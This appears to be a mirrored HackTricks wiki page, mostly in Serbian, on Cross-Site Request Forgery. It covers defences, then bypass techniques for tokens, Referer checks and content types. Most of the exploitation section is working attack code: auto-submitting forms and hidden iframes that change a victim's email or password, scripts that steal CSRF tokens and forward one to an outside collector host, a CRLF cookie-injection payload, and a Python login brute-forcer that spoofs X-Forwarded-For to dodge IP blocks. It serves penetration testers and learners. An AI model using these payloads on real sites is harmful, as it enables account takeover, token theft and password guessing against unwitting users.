mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
650 lines
23 KiB
Markdown
650 lines
23 KiB
Markdown
# CSRF (Cross Site Request Forgery)
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|
||
|
||
## Objašnjenje Cross-Site Request Forgery (CSRF)
|
||
|
||
**Cross-Site Request Forgery (CSRF)** je vrsta sigurnosne ranjivosti koja se nalazi u web aplikacijama. Omogućava napadačima da izvrše radnje u ime nesvesnih korisnika iskorišćavajući njihove autentifikovane sesije. Napad se izvršava kada korisnik, koji je prijavljen na platformu žrtve, poseti zlonamernu stranicu. Ova stranica zatim pokreće zahteve ka nalogu žrtve putem metoda kao što su izvršavanje JavaScript-a, slanje obrazaca ili preuzimanje slika.
|
||
|
||
### Preduslovi za CSRF napad
|
||
|
||
Da bi se iskoristila CSRF ranjivost, nekoliko uslova mora biti ispunjeno:
|
||
|
||
1. **Identifikujte vrednu akciju**: Napadač treba da pronađe akciju koja vredi iskorišćavanja, kao što je promena lozinke korisnika, email-a ili povećanje privilegija.
|
||
2. **Upravljanje sesijama**: Sesija korisnika treba da se upravlja isključivo putem kolačića ili HTTP Basic Authentication zaglavlja, jer se druga zaglavlja ne mogu manipulisati u tu svrhu.
|
||
3. **Odsustvo nepredvidivih parametara**: Zahtev ne bi trebao sadržati nepredvidive parametre, jer oni mogu sprečiti napad.
|
||
|
||
### Brza provera
|
||
|
||
Možete **uhvatiti zahtev u Burp-u** i proveriti CSRF zaštite, a da biste testirali iz pregledača, možete kliknuti na **Copy as fetch** i proveriti zahtev:
|
||
|
||
<figure><img src="../images/image (11) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
### Odbrana od CSRF
|
||
|
||
Nekoliko mera zaštite može se implementirati kako bi se zaštitili od CSRF napada:
|
||
|
||
- [**SameSite kolačići**](hacking-with-cookies/index.html#samesite): Ova atribut sprečava pregledač da šalje kolačiće zajedno sa zahtevima sa drugih sajtova. [Više o SameSite kolačićima](hacking-with-cookies/index.html#samesite).
|
||
- [**Deljenje resursa između različitih domena**](cors-bypass.md): CORS politika sajta žrtve može uticati na izvodljivost napada, posebno ako napad zahteva čitanje odgovora sa sajta žrtve. [Saznajte više o CORS zaobilaženju](cors-bypass.md).
|
||
- **Verifikacija korisnika**: Traženje lozinke korisnika ili rešavanje captcha može potvrditi nameru korisnika.
|
||
- **Proveravanje Referrer ili Origin zaglavlja**: Validacija ovih zaglavlja može pomoći da se osigura da zahtevi dolaze iz pouzdanih izvora. Međutim, pažljivo kreiranje URL-ova može zaobići loše implementirane provere, kao što su:
|
||
- Korišćenje `http://mal.net?orig=http://example.com` (URL se završava sa pouzdanim URL-om)
|
||
- Korišćenje `http://example.com.mal.net` (URL počinje sa pouzdanim URL-om)
|
||
- **Modifikovanje imena parametara**: Menjanje imena parametara u POST ili GET zahtevima može pomoći u sprečavanju automatizovanih napada.
|
||
- **CSRF tokeni**: Uključivanje jedinstvenog CSRF tokena u svaku sesiju i zahtev za ovim tokenom u narednim zahtevima može značajno smanjiti rizik od CSRF. Efikasnost tokena može se poboljšati primenom CORS-a.
|
||
|
||
Razumevanje i implementacija ovih odbrana je ključno za održavanje sigurnosti i integriteta web aplikacija.
|
||
|
||
## Zaobilaženje odbrana
|
||
|
||
### Od POST do GET
|
||
|
||
Možda je obrazac koji želite da iskoristite pripremljen da pošalje **POST zahtev sa CSRF tokenom, ali** trebate **proveriti** da li je **GET** takođe **validan** i da li se kada pošaljete GET zahtev **CSRF token i dalje validira**.
|
||
|
||
### Nedostatak tokena
|
||
|
||
Aplikacije mogu implementirati mehanizam za **validaciju tokena** kada su prisutni. Međutim, ranjivost nastaje ako se validacija potpuno preskoči kada token nije prisutan. Napadači mogu iskoristiti ovo tako što će **ukloniti parametar** koji nosi token, ne samo njegovu vrednost. Ovo im omogućava da zaobiđu proces validacije i efikasno izvrše Cross-Site Request Forgery (CSRF) napad.
|
||
|
||
### CSRF token nije vezan za korisničku sesiju
|
||
|
||
Aplikacije **koje ne vezuju CSRF tokene za korisničke sesije** predstavljaju značajan **sigurnosni rizik**. Ovi sistemi verifikuju tokene protiv **globalnog bazena** umesto da osiguraju da je svaki token vezan za inicijalnu sesiju.
|
||
|
||
Evo kako napadači iskorišćavaju ovo:
|
||
|
||
1. **Autentifikujte se** koristeći svoj nalog.
|
||
2. **Dobijte validan CSRF token** iz globalnog bazena.
|
||
3. **Koristite ovaj token** u CSRF napadu protiv žrtve.
|
||
|
||
Ova ranjivost omogućava napadačima da šalju neovlašćene zahteve u ime žrtve, iskorišćavajući **neadekvatan mehanizam validacije tokena** aplikacije.
|
||
|
||
### Zaobilaženje metoda
|
||
|
||
Ako zahtev koristi "**čudan**" **metod**, proverite da li funkcionalnost **override metode** radi. Na primer, ako koristi **PUT** metod, možete pokušati da **koristite POST** metod i **pošaljete**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
|
||
|
||
Ovo takođe može raditi slanjem **\_method parametra unutar POST zahteva** ili korišćenjem **zaglavlja**:
|
||
|
||
- _X-HTTP-Method_
|
||
- _X-HTTP-Method-Override_
|
||
- _X-Method-Override_
|
||
|
||
### Zaobilaženje prilagođenog zaglavlja tokena
|
||
|
||
Ako zahtev dodaje **prilagođeno zaglavlje** sa **tokenom** kao **metodom zaštite od CSRF**, onda:
|
||
|
||
- Testirajte zahtev bez **prilagođenog tokena i zaglavlja.**
|
||
- Testirajte zahtev sa tačno **istom dužinom, ali različitim tokenom**.
|
||
|
||
### CSRF token se verifikuje putem kolačića
|
||
|
||
Aplikacije mogu implementirati zaštitu od CSRF tako što će duplirati token u kolačiću i parametru zahteva ili postavljanjem CSRF kolačića i verifikovanjem da li token poslat u pozadini odgovara kolačiću. Aplikacija validira zahteve proveravajući da li se token u parametru zahteva poklapa sa vrednošću u kolačiću.
|
||
|
||
Međutim, ova metoda je ranjiva na CSRF napade ako sajt ima greške koje omogućavaju napadaču da postavi CSRF kolačić u pregledaču žrtve, kao što je CRLF ranjivost. Napadač može iskoristiti ovo tako što će učitati obmanjujuću sliku koja postavlja kolačić, nakon čega pokreće CSRF napad.
|
||
|
||
Ispod je primer kako bi napad mogao biti strukturiran:
|
||
```html
|
||
<html>
|
||
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
|
||
<body>
|
||
<script>
|
||
history.pushState("", "", "/")
|
||
</script>
|
||
<form action="https://example.com/my-account/change-email" method="POST">
|
||
<input type="hidden" name="email" value="asd@asd.asd" />
|
||
<input
|
||
type="hidden"
|
||
name="csrf"
|
||
value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
|
||
<input type="submit" value="Submit request" />
|
||
</form>
|
||
<img
|
||
src="https://example.com/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E"
|
||
onerror="document.forms[0].submit();" />
|
||
</body>
|
||
</html>
|
||
```
|
||
> [!NOTE]
|
||
> Imajte na umu da ako je **csrf token povezan sa sesijskim kolačićem, ovaj napad neće uspeti** jer ćete morati da postavite žrtvi vašu sesiju, i stoga ćete napadati sebe.
|
||
|
||
### Promena Content-Type
|
||
|
||
Prema [**ovome**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests), kako bi se **izbegli preflight** zahtevi korišćenjem **POST** metode, ovo su dozvoljene vrednosti Content-Type:
|
||
|
||
- **`application/x-www-form-urlencoded`**
|
||
- **`multipart/form-data`**
|
||
- **`text/plain`**
|
||
|
||
Međutim, imajte na umu da **logika servera može varirati** u zavisnosti od korišćenog **Content-Type**, tako da biste trebali isprobati pomenute vrednosti i druge poput **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._
|
||
|
||
Primer (iz [ovde](https://brycec.me/posts/corctf_2021_challenges)) slanja JSON podataka kao text/plain:
|
||
```html
|
||
<html>
|
||
<body>
|
||
<form
|
||
id="form"
|
||
method="post"
|
||
action="https://phpme.be.ax/"
|
||
enctype="text/plain">
|
||
<input
|
||
name='{"garbageeeee":"'
|
||
value='", "yep": "yep yep yep", "url": "https://webhook/"}' />
|
||
</form>
|
||
<script>
|
||
form.submit()
|
||
</script>
|
||
</body>
|
||
</html>
|
||
```
|
||
### Obilaženje Preflight Zahteva za JSON Podatke
|
||
|
||
Kada pokušavate da pošaljete JSON podatke putem POST zahteva, korišćenje `Content-Type: application/json` u HTML formi nije direktno moguće. Slično tome, korišćenje `XMLHttpRequest` za slanje ovog tipa sadržaja pokreće preflight zahtev. Ipak, postoje strategije koje potencijalno mogu da obiju ovo ograničenje i provere da li server obrađuje JSON podatke bez obzira na Content-Type:
|
||
|
||
1. **Koristite Alternativne Tipove Sadržaja**: Koristite `Content-Type: text/plain` ili `Content-Type: application/x-www-form-urlencoded` postavljanjem `enctype="text/plain"` u formi. Ovaj pristup testira da li backend koristi podatke bez obzira na Content-Type.
|
||
2. **Izmenite Tip Sadržaja**: Da biste izbegli preflight zahtev dok osiguravate da server prepoznaje sadržaj kao JSON, možete poslati podatke sa `Content-Type: text/plain; application/json`. Ovo ne pokreće preflight zahtev, ali bi moglo biti ispravno obrađeno od strane servera ako je konfigurisan da prihvati `application/json`.
|
||
3. **Korišćenje SWF Flash Fajla**: Manje uobičajena, ali izvodljiva metoda uključuje korišćenje SWF flash fajla za obilaženje takvih ograničenja. Za detaljno razumevanje ove tehnike, pogledajte [ovaj post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
|
||
|
||
### Obilaženje Provere Referrer / Origin
|
||
|
||
**Izbegnite Referrer zaglavlje**
|
||
|
||
Aplikacije mogu validirati 'Referer' zaglavlje samo kada je prisutno. Da biste sprečili pretraživač da pošalje ovo zaglavlje, može se koristiti sledeći HTML meta tag:
|
||
```xml
|
||
<meta name="referrer" content="never">
|
||
```
|
||
Ovo osigurava da 'Referer' zaglavlje bude izostavljeno, potencijalno zaobilazeći provere validacije u nekim aplikacijama.
|
||
|
||
**Regexp zaobilaženja**
|
||
|
||
{{#ref}}
|
||
ssrf-server-side-request-forgery/url-format-bypass.md
|
||
{{#endref}}
|
||
|
||
Da biste postavili naziv domena servera u URL-u koji će Referrer poslati unutar parametara, možete uraditi:
|
||
```html
|
||
<html>
|
||
<!-- Referrer policy needed to send the qury parameter in the referrer -->
|
||
<head>
|
||
<meta name="referrer" content="unsafe-url" />
|
||
</head>
|
||
<body>
|
||
<script>
|
||
history.pushState("", "", "/")
|
||
</script>
|
||
<form
|
||
action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email"
|
||
method="POST">
|
||
<input type="hidden" name="email" value="asd@asd.asd" />
|
||
<input type="submit" value="Submit request" />
|
||
</form>
|
||
<script>
|
||
// You need to set this or the domain won't appear in the query of the referer header
|
||
history.pushState(
|
||
"",
|
||
"",
|
||
"?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net"
|
||
)
|
||
document.forms[0].submit()
|
||
</script>
|
||
</body>
|
||
</html>
|
||
```
|
||
### **HEAD метод заобилажење**
|
||
|
||
Први део [**овог CTF извештаја**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) објашњава да је [Oak-ов изворни код](https://github.com/oakserver/oak/blob/main/router.ts#L281), рутер подешен да **обрађује HEAD захтеве као GET захтеве** без тела одговора - уобичајена заобилазница која није јединствена за Oak. Уместо специфичног обрађивача који се бави HEAD захтевима, они су једноставно **дати GET обрађивачу, али апликација само уклања тело одговора**.
|
||
|
||
Стога, ако је GET захтев ограничен, можете једноставно **послати HEAD захтев који ће бити обрађен као GET захтев**.
|
||
|
||
## **Примери експлоатације**
|
||
|
||
### **Екстракција CSRF токена**
|
||
|
||
Ако се **CSRF токен** користи као **одбрана**, можете покушати да **екстрахујете** злоупотребом [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) рањивости или [**Данглинг Маркуп**](dangling-markup-html-scriptless-injection/index.html) рањивости.
|
||
|
||
### **GET користећи HTML тагове**
|
||
```xml
|
||
<img src="http://google.es?param=VALUE" style="display:none" />
|
||
<h1>404 - Page not found</h1>
|
||
The URL you are requesting is no longer available
|
||
```
|
||
Ostali HTML5 tagovi koji se mogu koristiti za automatsko slanje GET zahteva su:
|
||
```html
|
||
<iframe src="..."></iframe>
|
||
<script src="..."></script>
|
||
<img src="..." alt="" />
|
||
<embed src="..." />
|
||
<audio src="...">
|
||
<video src="...">
|
||
<source src="..." type="..." />
|
||
<video poster="...">
|
||
<link rel="stylesheet" href="..." />
|
||
<object data="...">
|
||
<body background="...">
|
||
<div style="background: url('...');"></div>
|
||
<style>
|
||
body {
|
||
background: url("...");
|
||
}
|
||
</style>
|
||
<bgsound src="...">
|
||
<track src="..." kind="subtitles" />
|
||
<input type="image" src="..." alt="Submit Button"
|
||
/></bgsound>
|
||
</body>
|
||
</object>
|
||
</video>
|
||
</video>
|
||
</audio>
|
||
```
|
||
### Form GET zahtev
|
||
```html
|
||
<html>
|
||
<!-- CSRF PoC - generated by Burp Suite Professional -->
|
||
<body>
|
||
<script>
|
||
history.pushState("", "", "/")
|
||
</script>
|
||
<form method="GET" action="https://victim.net/email/change-email">
|
||
<input type="hidden" name="email" value="some@email.com" />
|
||
<input type="submit" value="Submit request" />
|
||
</form>
|
||
<script>
|
||
document.forms[0].submit()
|
||
</script>
|
||
</body>
|
||
</html>
|
||
```
|
||
### Form POST zahtev
|
||
```html
|
||
<html>
|
||
<body>
|
||
<script>
|
||
history.pushState("", "", "/")
|
||
</script>
|
||
<form
|
||
method="POST"
|
||
action="https://victim.net/email/change-email"
|
||
id="csrfform">
|
||
<input
|
||
type="hidden"
|
||
name="email"
|
||
value="some@email.com"
|
||
autofocus
|
||
onfocus="csrfform.submit();" />
|
||
<!-- Way 1 to autosubmit -->
|
||
<input type="submit" value="Submit request" />
|
||
<img src="x" onerror="csrfform.submit();" />
|
||
<!-- Way 2 to autosubmit -->
|
||
</form>
|
||
<script>
|
||
document.forms[0].submit() //Way 3 to autosubmit
|
||
</script>
|
||
</body>
|
||
</html>
|
||
```
|
||
### Form POST zahtev kroz iframe
|
||
```html
|
||
<!--
|
||
The request is sent through the iframe withuot reloading the page
|
||
-->
|
||
<html>
|
||
<body>
|
||
<iframe style="display:none" name="csrfframe"></iframe>
|
||
<form method="POST" action="/change-email" id="csrfform" target="csrfframe">
|
||
<input
|
||
type="hidden"
|
||
name="email"
|
||
value="some@email.com"
|
||
autofocus
|
||
onfocus="csrfform.submit();" />
|
||
<input type="submit" value="Submit request" />
|
||
</form>
|
||
<script>
|
||
document.forms[0].submit()
|
||
</script>
|
||
</body>
|
||
</html>
|
||
```
|
||
### **Ajax POST zahtev**
|
||
```html
|
||
<script>
|
||
var xh
|
||
if (window.XMLHttpRequest) {
|
||
// code for IE7+, Firefox, Chrome, Opera, Safari
|
||
xh = new XMLHttpRequest()
|
||
} else {
|
||
// code for IE6, IE5
|
||
xh = new ActiveXObject("Microsoft.XMLHTTP")
|
||
}
|
||
xh.withCredentials = true
|
||
xh.open(
|
||
"POST",
|
||
"http://challenge01.root-me.org/web-client/ch22/?action=profile"
|
||
)
|
||
xh.setRequestHeader("Content-type", "application/x-www-form-urlencoded") //to send proper header info (optional, but good to have as it may sometimes not work without this)
|
||
xh.send("username=abcd&status=on")
|
||
</script>
|
||
|
||
<script>
|
||
//JQuery version
|
||
$.ajax({
|
||
type: "POST",
|
||
url: "https://google.com",
|
||
data: "param=value¶m2=value2",
|
||
})
|
||
</script>
|
||
```
|
||
### multipart/form-data POST zahtev
|
||
```javascript
|
||
myFormData = new FormData()
|
||
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text" })
|
||
myFormData.append("newAttachment", blob, "pwned.php")
|
||
fetch("http://example/some/path", {
|
||
method: "post",
|
||
body: myFormData,
|
||
credentials: "include",
|
||
headers: { "Content-Type": "application/x-www-form-urlencoded" },
|
||
mode: "no-cors",
|
||
})
|
||
```
|
||
### multipart/form-data POST zahtev v2
|
||
```javascript
|
||
// https://www.exploit-db.com/exploits/20009
|
||
var fileSize = fileData.length,
|
||
boundary = "OWNEDBYOFFSEC",
|
||
xhr = new XMLHttpRequest()
|
||
xhr.withCredentials = true
|
||
xhr.open("POST", url, true)
|
||
// MIME POST request.
|
||
xhr.setRequestHeader(
|
||
"Content-Type",
|
||
"multipart/form-data, boundary=" + boundary
|
||
)
|
||
xhr.setRequestHeader("Content-Length", fileSize)
|
||
var body = "--" + boundary + "\r\n"
|
||
body +=
|
||
'Content-Disposition: form-data; name="' +
|
||
nameVar +
|
||
'"; filename="' +
|
||
fileName +
|
||
'"\r\n'
|
||
body += "Content-Type: " + ctype + "\r\n\r\n"
|
||
body += fileData + "\r\n"
|
||
body += "--" + boundary + "--"
|
||
|
||
//xhr.send(body);
|
||
xhr.sendAsBinary(body)
|
||
```
|
||
### Form POST zahtev iz iframe-a
|
||
```html
|
||
<--! expl.html -->
|
||
|
||
<body onload="envia()">
|
||
<form
|
||
method="POST"
|
||
id="formulario"
|
||
action="http://aplicacion.example.com/cambia_pwd.php">
|
||
<input type="text" id="pwd" name="pwd" value="otra nueva" />
|
||
</form>
|
||
<body>
|
||
<script>
|
||
function envia() {
|
||
document.getElementById("formulario").submit()
|
||
}
|
||
</script>
|
||
|
||
<!-- public.html -->
|
||
<iframe src="2-1.html" style="position:absolute;top:-5000"> </iframe>
|
||
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
|
||
</body>
|
||
</body>
|
||
```
|
||
### **Ukrao CSRF token i poslao POST zahtev**
|
||
```javascript
|
||
function submitFormWithTokenJS(token) {
|
||
var xhr = new XMLHttpRequest()
|
||
xhr.open("POST", POST_URL, true)
|
||
xhr.withCredentials = true
|
||
|
||
// Send the proper header information along with the request
|
||
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
|
||
|
||
// This is for debugging and can be removed
|
||
xhr.onreadystatechange = function () {
|
||
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
|
||
//console.log(xhr.responseText);
|
||
}
|
||
}
|
||
|
||
xhr.send("token=" + token + "&otherparama=heyyyy")
|
||
}
|
||
|
||
function getTokenJS() {
|
||
var xhr = new XMLHttpRequest()
|
||
// This tels it to return it as a HTML document
|
||
xhr.responseType = "document"
|
||
xhr.withCredentials = true
|
||
// true on the end of here makes the call asynchronous
|
||
xhr.open("GET", GET_URL, true)
|
||
xhr.onload = function (e) {
|
||
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
|
||
// Get the document from the response
|
||
page = xhr.response
|
||
// Get the input element
|
||
input = page.getElementById("token")
|
||
// Show the token
|
||
//console.log("The token is: " + input.value);
|
||
// Use the token to submit the form
|
||
submitFormWithTokenJS(input.value)
|
||
}
|
||
}
|
||
// Make the request
|
||
xhr.send(null)
|
||
}
|
||
|
||
var GET_URL = "http://google.com?param=VALUE"
|
||
var POST_URL = "http://google.com?param=VALUE"
|
||
getTokenJS()
|
||
```
|
||
### **Ukrao CSRF token i poslao Post zahtev koristeći iframe, formu i Ajax**
|
||
```html
|
||
<form
|
||
id="form1"
|
||
action="http://google.com?param=VALUE"
|
||
method="post"
|
||
enctype="multipart/form-data">
|
||
<input type="text" name="username" value="AA" />
|
||
<input type="checkbox" name="status" checked="checked" />
|
||
<input id="token" type="hidden" name="token" value="" />
|
||
</form>
|
||
|
||
<script type="text/javascript">
|
||
function f1() {
|
||
x1 = document.getElementById("i1")
|
||
x1d = x1.contentWindow || x1.contentDocument
|
||
t = x1d.document.getElementById("token").value
|
||
|
||
document.getElementById("token").value = t
|
||
document.getElementById("form1").submit()
|
||
}
|
||
</script>
|
||
<iframe
|
||
id="i1"
|
||
style="display:none"
|
||
src="http://google.com?param=VALUE"
|
||
onload="javascript:f1();"></iframe>
|
||
```
|
||
### **Ukrao CSRF token i poslao POST zahtev koristeći iframe i formu**
|
||
```html
|
||
<iframe
|
||
id="iframe"
|
||
src="http://google.com?param=VALUE"
|
||
width="500"
|
||
height="500"
|
||
onload="read()"></iframe>
|
||
|
||
<script>
|
||
function read() {
|
||
var name = "admin2"
|
||
var token =
|
||
document.getElementById("iframe").contentDocument.forms[0].token.value
|
||
document.writeln(
|
||
'<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php" enctype="multipart/form-data">'
|
||
)
|
||
document.writeln(
|
||
'<input id="username" type="text" name="username" value="' +
|
||
name +
|
||
'" /><br />'
|
||
)
|
||
document.writeln(
|
||
'<input id="token" type="hidden" name="token" value="' + token + '" />'
|
||
)
|
||
document.writeln(
|
||
'<input type="submit" name="submit" value="Submit" /><br/>'
|
||
)
|
||
document.writeln("</form>")
|
||
document.forms[0].submit.click()
|
||
}
|
||
</script>
|
||
```
|
||
### **Ukrao token i poslao ga koristeći 2 iframes**
|
||
```html
|
||
<script>
|
||
var token;
|
||
function readframe1(){
|
||
token = frame1.document.getElementById("profile").token.value;
|
||
document.getElementById("bypass").token.value = token
|
||
loadframe2();
|
||
}
|
||
function loadframe2(){
|
||
var test = document.getElementbyId("frame2");
|
||
test.src = "http://requestb.in/1g6asbg1?token="+token;
|
||
}
|
||
</script>
|
||
|
||
<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()"
|
||
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
|
||
height="600" width="800"></iframe>
|
||
|
||
<iframe id="frame2" name="frame2"
|
||
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
|
||
height="600" width="800"></iframe>
|
||
<body onload="document.forms[0].submit()">
|
||
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
|
||
<input type="text" name="username" value="z">
|
||
<input type="checkbox" name="status" checked="">
|
||
<input id="token" type="hidden" name="token" value="0000" />
|
||
<button type="submit">Submit</button>
|
||
</form>
|
||
```
|
||
### **POSTUkradite CSRF token pomoću Ajax-a i pošaljite post sa formom**
|
||
```html
|
||
<body onload="getData()">
|
||
<form
|
||
id="form"
|
||
action="http://google.com?param=VALUE"
|
||
method="POST"
|
||
enctype="multipart/form-data">
|
||
<input type="hidden" name="username" value="root" />
|
||
<input type="hidden" name="status" value="on" />
|
||
<input type="hidden" id="findtoken" name="token" value="" />
|
||
<input type="submit" value="valider" />
|
||
</form>
|
||
|
||
<script>
|
||
var x = new XMLHttpRequest()
|
||
function getData() {
|
||
x.withCredentials = true
|
||
x.open("GET", "http://google.com?param=VALUE", true)
|
||
x.send(null)
|
||
}
|
||
x.onreadystatechange = function () {
|
||
if (x.readyState == XMLHttpRequest.DONE) {
|
||
var token = x.responseText.match(/name="token" value="(.+)"/)[1]
|
||
document.getElementById("findtoken").value = token
|
||
document.getElementById("form").submit()
|
||
}
|
||
}
|
||
</script>
|
||
</body>
|
||
```
|
||
### CSRF са Socket.IO
|
||
```html
|
||
<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
|
||
<script>
|
||
let socket = io("http://six.jh2i.com:50022/test")
|
||
|
||
const username = "admin"
|
||
|
||
socket.on("connect", () => {
|
||
console.log("connected!")
|
||
socket.emit("join", {
|
||
room: username,
|
||
})
|
||
socket.emit("my_room_event", {
|
||
data: "!flag",
|
||
room: username,
|
||
})
|
||
})
|
||
</script>
|
||
```
|
||
## CSRF Login Brute Force
|
||
|
||
Kod se može koristiti za Brut Force login formu koristeći CSRF token (takođe koristi header X-Forwarded-For da pokuša da zaobiđe moguće IP blacklistovanje):
|
||
```python
|
||
import request
|
||
import re
|
||
import random
|
||
|
||
URL = "http://10.10.10.191/admin/"
|
||
PROXY = { "http": "127.0.0.1:8080"}
|
||
SESSION_COOKIE_NAME = "BLUDIT-KEY"
|
||
USER = "fergus"
|
||
PASS_LIST="./words"
|
||
|
||
def init_session():
|
||
#Return CSRF + Session (cookie)
|
||
r = requests.get(URL)
|
||
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
|
||
csrf = csrf.group(1)
|
||
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
|
||
return csrf, session_cookie
|
||
|
||
def login(user, password):
|
||
print(f"{user}:{password}")
|
||
csrf, cookie = init_session()
|
||
cookies = {SESSION_COOKIE_NAME: cookie}
|
||
data = {
|
||
"tokenCSRF": csrf,
|
||
"username": user,
|
||
"password": password,
|
||
"save": ""
|
||
}
|
||
headers = {
|
||
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
|
||
}
|
||
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
|
||
if "Username or password incorrect" in r.text:
|
||
return False
|
||
else:
|
||
print(f"FOUND {user} : {password}")
|
||
return True
|
||
|
||
with open(PASS_LIST, "r") as f:
|
||
for line in f:
|
||
login(USER, line.strip())
|
||
```
|
||
## Alati <a href="#tools" id="tools"></a>
|
||
|
||
- [https://github.com/0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe)
|
||
- [https://github.com/merttasci/csrf-poc-generator](https://github.com/merttasci/csrf-poc-generator)
|
||
|
||
## Reference
|
||
|
||
- [https://portswigger.net/web-security/csrf](https://portswigger.net/web-security/csrf)
|
||
- [https://portswigger.net/web-security/csrf/bypassing-token-validation](https://portswigger.net/web-security/csrf/bypassing-token-validation)
|
||
- [https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses](https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses)
|
||
- [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html)
|
||
|
||
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|